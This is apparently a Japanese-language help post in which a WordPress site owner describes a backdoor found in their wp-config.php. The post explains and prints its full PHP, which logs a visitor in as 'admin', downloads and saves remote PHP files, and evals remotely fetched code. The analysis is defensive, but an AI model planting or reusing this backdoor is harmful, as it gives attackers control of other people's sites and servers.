こんにちは私は私のサイトの1つのwp-config.phpファイルにいくつかの新しいコードを見つけました。
このコードには3つの主要な「機能」があります。 2行は、pingnow
とpass
が定義されていること、およびpass
が正しい値であることを確認しています。 pingnow
は後で「関数」を切り替えるために使用されます。
pingnow
GET変数がlogin
である場合、最初のものが実行されます。要求しているユーザーに「admin」ユーザーとしてログインします。 'admin'というユーザーがいない場合、これは機能しません。
if ($_GET['pingnow']== 'login'){
$user_login = 'admin';
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action('wp_login', $user_login);
}
2番目の部分はあなたのサーバーに定義されたファイルをアップロードすることを可能にします。 pingnow
変数がexec
の場合、スクリプトはファイルをダウンロードし、ランダムなmd5ハッシュの名前でサーバーに保存します。その後、攻撃者をスクリプトにリダイレクトします。
if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
$fnm = md5(Rand(0,100)).'.php';
$fp = fopen($fnm, "w");
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);
curl_close($ch);
fclose($fp);
echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>";
}
3番目の部分はリモートphpの評価を可能にします。ファイルをダウンロードし、それをeval
sしてサーバー上で実行します。
if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$re = curl_exec($ch);
curl_close($ch);
eval($re);
}